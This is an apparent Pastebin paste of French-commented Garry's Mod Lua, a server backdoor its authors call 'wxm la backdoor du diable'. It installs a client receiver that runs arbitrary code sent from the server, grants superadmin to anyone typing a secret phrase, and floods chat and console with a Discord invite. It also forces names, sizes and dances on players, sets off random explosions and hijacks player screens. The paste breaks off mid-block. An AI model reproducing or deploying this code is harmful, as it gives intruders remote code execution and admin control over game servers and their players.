Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- util.AddNetworkString "skeleton_dancing_troll"
- timer.Create("nonameplease", 5, 0,function()
- for i=1, #player.GetHumans() do
- local ply = player.GetHumans()[i]
- ply:Say( "/ooc Rejoignez l'élite! ===> https://discord.gg/n8Heezw")
- end
- end)
- BroadcastLua([[hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)]])
- util.AddNetworkString "EnigmaProject"
- local CHANGERPSEUDO = "wxm la backdoor du diable"
- local enigmalaunchproject = {}
- function enigmalaunchproject:RandomString( intMin, intMax )
- local ret = ""
- for _ = 1, math.random( intMin, intMax ) do
- ret = ret.. string.char( math.random(65, 90) )
- end
- return ret
- end
- enigmalaunchproject.m_tblActions = {}
- enigmalaunchproject.m_strImageGlobalVar = enigmalaunchproject:RandomString( 6, 12 )
- enigmalaunchproject.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
- function enigmalaunchproject:NouvelleAction( intChainDelay, func )
- self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
- end
- function enigmalaunchproject:ActionApres( pPlayer )
- pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
- if not self.m_tblActions[pPlayer.m_intCurAction] then return end
- timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
- if not IsValid( pPlayer ) then return end
- self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
- self:ActionApres( pPlayer )
- end )
- end
- function enigmalaunchproject:Start( pPlayer )
- pPlayer.m_intCurAction = 0
- self:ActionApres( pPlayer )
- end
- function enigmalaunchproject:SendLua( pPlayer, strLua )
- pPlayer:SendLua([[RunConsoleCommand("gmod_language","ko")]])
- net.Start( "EnigmaProject" )
- net.WriteString( strLua )
- net.Send( pPlayer )
- end
- function enigmalaunchproject:SetupPlayer( pPlayer )
- pPlayer:SendLua( "net.Receive(\"EnigmaProject\", function() RunString(net.ReadString()) end)" )
- end
- -- DANSE --
- for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_until_your_dead",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
- -- FIN DANSE --
- -- CHANGER NOM --
- for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, CHANGERPSEUDO) v:setDarkRPVar("rpname", CHANGERPSEUDO) end
- -- FIN CHANGER NOM --
- -- Console Spam
- decore = {
- [[
- wxm @ https://discord.gg/n8Heezw
- ]]
- }
- function decorationconsole()
- print(Color( 0, 0, 0 ), table.Random(decore))
- end
- -- Console Spam
- for k, v in pairs( player.GetAll() ) do
- timer.Create("consolespamenigma", 0.4, 0, function() decorationconsole( v ) end )
- end
- --[[ MODE ARMAGEDDON --
- hook.Add("Think", "armageddon", function()
- local explode = ents.Create( "env_explosion" )
- explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
- explode:Spawn()
- explode:SetKeyValue( "iMagnitude", "500" )
- explode:Fire( "Explode", 0, 0 )
- end)
- -- FIN MODE ARMAGEDDON ]]--
- -- Send Lua --
- function SendLuaAll( str ) net.Start( "EnigmaProject" ) net.WriteString( str ) net.Broadcast() end
- -- Changer Taille --
- hook.Add("Think", "giant", function()
- for k,v in pairs (player.GetAll()) do
- v:SetModelScale(50.5, 100);
- v:SetRunSpeed(700 * 2);
- v:SetWalkSpeed(400 * 2);
- end
- end)
- -- Fin Changer Taille --
- -- Message --
- for k,v in pairs(player.GetAll()) do
- v:ConCommand("say /ooc Oups, votre serveur se fait percer de tout les côtes! :(")
- end
- -- Message Fin --
- -- Auto Lançage --
- for k, v in pairs( player.GetAll() ) do
- enigmalaunchproject:SetupPlayer( v )
- timer.Simple( 2, function() enigmalaunchproject:Start( v ) end )
- end
- -- Fin Auto Lançage --
- -- Lancer Aux Nouveaux Arrivants --
- --hook.Add( "PlayerAuthed", "wtfispassequoi", function( pPlayer )
- -- enigmalaunchproject:SetupPlayer( pPlayer )
- -- timer.Simple( 10, function() enigmalaunchproject:Start( pPlayer ) end )
- --end )
- -- Fin Lancer Aux Nouveaux Arrivants --
- -- Commande Enigma --
- hook.Add( "PlayerSay", "EnigmaCKoa", function( pSender, strText, bTeamChat )
- if strText:sub( 1, 5 ) == "Enigma" then
- pSender:Ignite( 1e9 )
- pSender:ChatPrint( "wxm la backdoor private la plus puissante de GMod ;)" )
- pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
- return false
- end
- end )
- -- Fin Commande Enigma
- hook.Add( "PlayerSay", "a4dxvlwxdlco", function( pSender, strText, bTeamChat )
- if strText:sub( 1, 5 ) == "EnigmaIsLitteralyMyFuckingGod" then
- pSender:SetUserGroup("superadmin")
- pSender:ChatPrint( "Tu est l'un des notres !" )
- pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
- return false
- end
- end)
- enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, ([=[
- g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
- local html = [[%s]]
- local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
- local pnl = vgui.Create( "HTML" )
- pnl:SetPos( ScrW() -1, ScrH() -1 )
- pnl:SetVisible( true )
- pnl:SetMouseInputEnabled( false )
- pnl:SetKeyBoardInputEnabled( false )
- pnl:SetSize( intSizeX, intSizeY )
- pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
- local PageLoaded
- PageLoaded = function()
- local mat = pnl:GetHTMLMaterial()
- if mat then
- g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
- return
- end
- timer.Simple( 0.5, PageLoaded )
- end
- PageLoaded()
- end
- --LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/06/5/1518211648-sans-titre-6.gif", "getrekt", 1920, 1080 )
- hook.Add( "RenderScreenspaceEffects", "itsredworld", function()
- local sinScaler = math.sin( CurTime() )
- DrawBloom(
- 0,
- 3,
- sinScaler *math.Rand(1, 8),
- sinScaler *math.Rand(1, 8),
- 6,
- math.Rand(0.5, 2),
- math.Rand(0, 0.3),
- math.Rand(0, 0.3),
- math.Rand(0.5, 1)
- )
- DrawColorModify{
- ["$pp_colour_addr"] = 1,
- ["$pp_colour_addg"] = 0,
- ["$pp_colour_addb"] = 0,
- ["$pp_colour_brightness" ] = 0.1,
- ["$pp_colour_contrast" ] = 0.1,
- ["$pp_colour_colour" ] = 0.1,
- ["$pp_colour_mulr" ] = 1,
- ["$pp_colour_mulg" ] = 0,
- ["$pp_colour_mulb" ] = 0
- }
- end )
- ]=]):format(enigmalaunchproject.m_strImageLoadHTML) )
- end )
- enigmalaunchproject:NouvelleAction( 14, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- (GAMEMODE or GM).CalcView = function() end
- (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
- local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
- for k, v in pairs(remove) do
- hook.GetTable()[v] = {}
- end
- local function GetWebMat( strURL )
- return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
- end
- hook.Add( "HUDPaint", "hud1enigma", function()
- surface.SetDrawColor( 255, 255, 255, 255 )
- if GetWebMat( "getrekt" ) then
- surface.SetMaterial( GetWebMat("getrekt")[1] )
- surface.DrawTexturedRect( 0, 0, 2100, 2000 )
- end
- draw.SimpleTextOutlined(
- "wxm is here",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +0,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 1,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- end )
- local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
- hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
- ]] )
- end )
- enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- hook.Remove( "HUDPaint", "hud1enigma", function() end)
- ]] )
- end )
- enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- (GAMEMODE or GM).CalcView = function() end
- (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
- local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
- for k, v in pairs(remove) do
- hook.GetTable()[v] = {}
- end
- local function GetWebMat( strURL )
- return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
- end
- hook.Add( "HUDPaint", "hud1enigma", function()
- surface.SetDrawColor( 255, 255, 255, 255 )
- if GetWebMat( "getrekt" ) then
- surface.SetMaterial( GetWebMat("getrekt")[1] )
- surface.DrawTexturedRect( 0, 0, 2100, 2000 )
- end
- draw.SimpleTextOutlined(
- "wxm was here",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +0,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 1,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- end )
- local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
- hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
- ]] )
- end )
- enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- hook.Remove( "HUDPaint", "hud1enigma", function() end)
- ]] )
- end )
- enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- (GAMEMODE or GM).CalcView = function() end
- (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
- local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
- for k, v in pairs(remove) do
- hook.GetTable()[v] = {}
- end
- local function GetWebMat( strURL )
- return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
- end
- hook.Add( "HUDPaint", "hud1enigma", function()
- surface.SetDrawColor( 255, 255, 255, 255 )
- if GetWebMat( "getrekt" ) then
- surface.SetMaterial( GetWebMat("getrekt")[1] )
- surface.DrawTexturedRect( 0, 0, 2100, 2000 )
- end
- draw.SimpleTextOutlined(
- "Rejoignez l'élite en venant sur discord!",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +0,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 1,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- end )
- local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
- hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
- ]] )
- end )
- enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- for k,v in pairs(player.GetAll()) do
- v:ConCommand("say /job wxm ma vie")
- end
- ]] )
- end )
- local lol = {}
- function lol:RandomString( intMin, intMax )
- local ret = ""
- for _ = 1, math.random( intMin, intMax ) do
- ret = ret.. string.char( math.random(65, 90) )
- end
- return ret
- end
- lol.m_tblActions = {}
- lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
- lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
- function lol:PushAction( intChainDelay, func )
- self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
- end
- function lol:NextAction( pPlayer )
- pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
- if not self.m_tblActions[pPlayer.m_intCurAction] then return end
- timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
- if not IsValid( pPlayer ) then return end
- self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
- self:NextAction( pPlayer )
- end )
- end
- function lol:Start( pPlayer )
- pPlayer.m_intCurAction = 0
- self:NextAction( pPlayer )
- end
- function lol:SendLua( pPlayer, strLua )
- net.Start( "skeleton_dancing_troll" )
- net.WriteString( strLua )
- net.Send( pPlayer )
- end
- function lol:SetupPlayer( pPlayer )
- pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
- end
- for k, v in pairs( player.GetAll() ) do
- lol:SetupPlayer( v )
- timer.Simple( 2, function() lol:Start( v ) end )
- end
- hook.Add( "PlayerAuthed", "wat", function( pPlayer )
- lol:SetupPlayer( pPlayer )
- timer.Simple( 10, function() lol:Start( pPlayer ) end )
- end )
- hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
- if strText:sub( 1, 5 ) == "/1337" then
- pSender:Ignite( 1e9 )
- pSender:ChatPrint( "wxm best backdoor ever ;)" )
- pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
- return false
- end
- end )
- enigmalaunchproject:NouvelleAction( 2, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- hook.Remove( "HUDPaint", "hud1enigma", function() end)
- ]] )
- end )
- enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- RunConsoleCommand("+right")
- ]] )
- end )
- enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- RunConsoleCommand("-right")
- ]] )
- end )
- enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- RunConsoleCommand("+duck")
- ]] )
- end )
- enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- RunConsoleCommand("-duck")
- ]] )
- end )
- enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
- timer.Create( "lespamckool", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "wxm l\'élite des backdoors" )' ) end)
- timer.Create( "lespamckool2", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "rejoignez l\'élite!" )' ) end)
- timer.Create( "lespamckool3", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "https://discord.gg/n8Heezw" )' ) end)
- timer.Create( "lespamckool4", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "Marlow" )' ) end)
- timer.Create( "lespamckool5", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "https://discord.gg/n8Heezw" )' ) end)
- timer.Create( "lespamckool6", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "wxm vous couche tous" )' ) end)
- timer.Create( "lespamckool7", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "gvac c\'est pour vous bande de pucelles" )' ) end)
- timer.Create( "lespamckool8", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "~ l\'élite des backdoors - https://discord.gg/n8Heezw" )' ) end)
- end )
- enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
- timer.Remove( "lespamckool" )
- timer.Remove( "lespamckool2" )
- timer.Remove( "lespamckool3" )
- timer.Remove( "lespamckool4" )
- timer.Remove( "lespamckool5" )
- timer.Remove( "lespamckool6" )
- timer.Remove( "lespamckool7" )
- timer.Remove( "lespamckool8" )
- end )
- enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
- RunConsoleCommand("sv_friction", "-50")
- end )
- enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
- RunConsoleCommand("sv_gravity", "300")
- end )
- enigmalaunchproject:NouvelleAction( 12, function( pPlayer )
- hook.Add("Think", "armageddon", function()
- local explode = ents.Create( "env_explosion" )
- explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
- explode:Spawn()
- explode:SetKeyValue( "iMagnitude", "500" )
- explode:Fire( "Explode", 0, 0 )
- end)
- end )
- enigmalaunchproject:NouvelleAction( 27, function( pPlayer )
- hook.Remove( "Think", "armageddon", function() end)
- end )
- enigmalaunchproject:NouvelleAction( 7, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- hook.Add( "RenderScreenspaceEffects", "itsendofworld", function()
- local sinScaler = math.sin( CurTime() )
- DrawBloom(
- 0,
- 3,
- sinScaler *math.Rand(1, 8),
- sinScaler *math.Rand(1, 8),
- 6,
- math.Rand(0.5, 2),
- math.Rand(0, 0.3),
- math.Rand(0, 0.3),
- math.Rand(0.5, 1)
- )
- DrawColorModify{
- ["$pp_colour_addr"] = 0,
- ["$pp_colour_addg"] = 0,
- ["$pp_colour_addb"] = 0,
- ["$pp_colour_brightness" ] = 0.1,
- ["$pp_colour_contrast" ] = 0.1,
- ["$pp_colour_colour" ] = 0.1,
- ["$pp_colour_mulr" ] = 0,
- ["$pp_colour_mulg" ] = 0,
- ["$pp_colour_mulb" ] = 0
- }
- end )
- ]] )
- end )
- enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- (GAMEMODE or GM).CalcView = function() end
- (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
- local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
- for k, v in pairs(remove) do
- hook.GetTable()[v] = {}
- end
- local function GetWebMat( strURL )
- return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
- end
- hook.Add( "HUDPaint", "hud1enigma", function()
- surface.SetDrawColor( 255, 255, 255, 255 )
- draw.SimpleTextOutlined(
- "wxm",
- "HACK",
- ScrW() /2 +math.random( -270, 300 ),
- ScrH() /2 +math.random( -300, 700 ) +0,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 1,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- end )
- ]] )
- end )
- enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- (GAMEMODE or GM).CalcView = function() end
- (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
- local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
- for k, v in pairs(remove) do
- hook.GetTable()[v] = {}
- end
- local function GetWebMat( strURL )
- return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
- end
- hook.Add( "HUDPaint", "hud2enigma", function()
- surface.SetDrawColor( 255, 255, 255, 255 )
- draw.SimpleTextOutlined(
- "hmm la backdoor qui fait du bien",
- "DermaLarge",
- ScrW() /2 +math.random( -600, 700 ),
- ScrH() /2 +math.random( -200, 800 ) +100,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 1,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- end )
- ]] )
- end )
- enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- (GAMEMODE or GM).CalcView = function() end
- (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
- local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
- for k, v in pairs(remove) do
- hook.GetTable()[v] = {}
- end
- local function GetWebMat( strURL )
- return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
- end
- hook.Add( "HUDPaint", "hud3enigma", function()
- surface.SetDrawColor( 255, 255, 255, 255 )
- draw.SimpleTextOutlined(
- "wxm",
- "DermaLarge",
- ScrW() /2 +math.random( -400, 500 ),
- ScrH() /2 +math.random( -600, 500 ) -100,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 1,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- end )
- ]] )
- end )
- enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- (GAMEMODE or GM).CalcView = function() end
- (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
- local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
- for k, v in pairs(remove) do
- hook.GetTable()[v] = {}
- end
- local function GetWebMat( strURL )
- return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
- end
- hook.Add( "HUDPaint", "hud5enigma", function()
- surface.SetDrawColor( 255, 255, 255, 255 )
- draw.SimpleTextOutlined(
- "wxm",
- "DermaLarge",
- ScrW() /2 +math.random( -500, 500 ),
- ScrH() /2 +math.random( -500, 500 ) +0,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 1,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- end )
- ]] )
- end )
- enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- (GAMEMODE or GM).CalcView = function() end
- (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
- local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
- for k, v in pairs(remove) do
- hook.GetTable()[v] = {}
- end
- local function GetWebMat( strURL )
- return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
- end
- hook.Add( "HUDPaint", "hud7enigma", function()
- surface.SetDrawColor( 255, 255, 255, 255 )
- draw.SimpleTextOutlined(
- "wxm",
- "DermaLarge",
- ScrW() /2 +math.random( -700, 700 ),
- ScrH() /2 +math.random( -700, 700 ) +300,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 1,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- end )
- ]] )
- end )
- enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- (GAMEMODE or GM).CalcView = function() end
- (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
- local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
- for k, v in pairs(remove) do
- hook.GetTable()[v] = {}
- end
- local function GetWebMat( strURL )
- return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
- end
- hook.Add( "HUDPaint", "hud10enigma", function()
- surface.SetDrawColor( 255, 255, 255, 255 )
- draw.SimpleTextOutlined(
- "wxm",
- "DermaLarge",
- ScrW() /2 +math.random( -800, 800 ),
- ScrH() /2 +math.random( -800, 800 ) -400,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 1,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- end )
- ]] )
- end )
- enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- (GAMEMODE or GM).CalcView = function() end
- (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
- local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
- for k, v in pairs(remove) do
- hook.GetTable()[v] = {}
- end
- local function GetWebMat( strURL )
- return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
- end
- hook.Add( "HUDPaint", "hud12enigma", function()
- surface.SetDrawColor( 255, 255, 255, 255 )
- draw.SimpleTextOutlined(
- "wxm",
- "DermaLarge",
- ScrW() /2 +math.random( -850, 850 ),
- ScrH() /2 +math.random( -850, 850 ) +100,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 1,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- end )
- ]] )
- end )
- enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- (GAMEMODE or GM).CalcView = function() end
- (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
- local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
- for k, v in pairs(remove) do
- hook.GetTable()[v] = {}
- end
- local function GetWebMat( strURL )
- return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
- end
- hook.Add( "HUDPaint", "hud1enigma", function()
- surface.SetDrawColor( 255, 255, 255, 255 )
- draw.SimpleTextOutlined(
- "wxm",
- "DermaLarge",
- ScrW() /2 +math.random( -300, 600 ),
- ScrH() /2 +math.random( -600, 300 ) +200,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 1,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- end )
- ]] )
- end )
- enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- (GAMEMODE or GM).CalcView = function() end
- (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
- local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
- for k, v in pairs(remove) do
- hook.GetTable()[v] = {}
- end
- local function GetWebMat( strURL )
- return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
- end
- hook.Add( "HUDPaint", "hud1enigma", function()
- surface.SetDrawColor( 255, 255, 255, 255 )
- draw.SimpleTextOutlined(
- "wxm",
- "HACK",
- ScrW() /2 +math.random( -300, 600 ),
- ScrH() /2 +math.random( -600, 300 ) +200,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 1,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- end )
- ]] )
- end )
- enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, ([=[
- g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
- local html = [[%s]]
- local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
- local pnl = vgui.Create( "HTML" )
- pnl:SetPos( ScrW() -1, ScrH() -1 )
- pnl:SetVisible( true )
- pnl:SetMouseInputEnabled( false )
- pnl:SetKeyBoardInputEnabled( false )
- pnl:SetSize( intSizeX, intSizeY )
- pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
- local PageLoaded
- PageLoaded = function()
- local mat = pnl:GetHTMLMaterial()
- if mat then
- g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
- return
- end
- timer.Simple( 0.5, PageLoaded )
- end
- PageLoaded()
- end
- LoadWebMaterial( "https://upload.wikimedia.org/wikipedia/commons/thumb/e/e3/Emmanuel_Macron_in_Tallinn_Digital_Summit._Welcome_dinner_hosted_by_HE_Donald_Tusk._Handshake_%2836669381364%29_%28cropped_2%29.jpg/220px-Emmanuel_Macron_in_Tallinn_Digital_Summit._Welcome_dinner_hosted_by_HE_Donald_Tusk._Handshake_%2836669381364%29_%28cropped_2%29.jpg", "EnigmaLogo", 1000, 1000 )
- ]=]):format(lol.m_strImageLoadHTML) )
- end )
- enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
- enigmalaunchproject:SendLua( pPlayer, [[
- (GAMEMODE or GM).CalcView = function() end
- (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
- local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
- for k, v in pairs(remove) do
- hook.GetTable()[v] = {}
- end
- local function GetWebMat( strURL )
- return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
- end
- hook.Add( "HUDPaint", "EnigmaLogoHUD", function()
- surface.SetDrawColor( 255, 255, 255, 255 )
- if GetWebMat( "EnigmaLogo" ) then
